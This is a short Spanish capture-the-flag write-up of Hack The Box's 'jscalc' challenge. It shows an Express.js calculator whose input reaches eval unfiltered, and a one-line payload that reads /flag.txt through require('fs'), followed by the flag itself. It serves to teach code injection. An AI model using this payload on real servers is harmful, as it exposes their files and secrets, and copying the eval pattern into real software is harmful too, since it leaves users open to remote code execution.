jscalc
1 minuto de lectura
Se nos proporciona este sitio web:
También se nos proporciona el código fuente de la aplicación web, que está hecha con Express JS (Node.js).
Análisis del código fuente
Solo hay una ruta disponible (routes/index.js
):
const path = require('path');
const express = require('express');
const router = express.Router();
const Calculator = require('../helpers/calculatorHelper');
const response = data => ({ message: data });
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/calculate', (req, res) => {
let { formula } = req.body;
if (formula) {
result = Calculator.calculate(formula);
return res.send(response(result));
}
return res.send(response('Missing parameters'));
})
module.exports = router;
// ocd
Solo llama a Calculator.calculate
con los datos que proporcionamos en el cuerpo de la petición:
module.exports = {
calculate(formula) {
try {
return eval(`(function() { return ${ formula } ;}())`);
} catch (e) {
if (e instanceof SyntaxError) {
return 'Something went wrong!';
}
}
}
}
// ocd
Inyección de código
Obsérvese que nuestra formula
se inserta directamente en un código JavaScript que se ejecuta con eval
. Como resultado, podemos ejecutar código JavaScript arbitrario. Por ejemplo, podemos abrir /flag.txt
e imprimir su contenido:
require('fs').readFileSync('/flag.txt').toString()
Flag
Al ejecutar el payload anterior obtendremos la flag:
HTB{c4lcul4t3d_my_w4y_thr0ugh_rc3}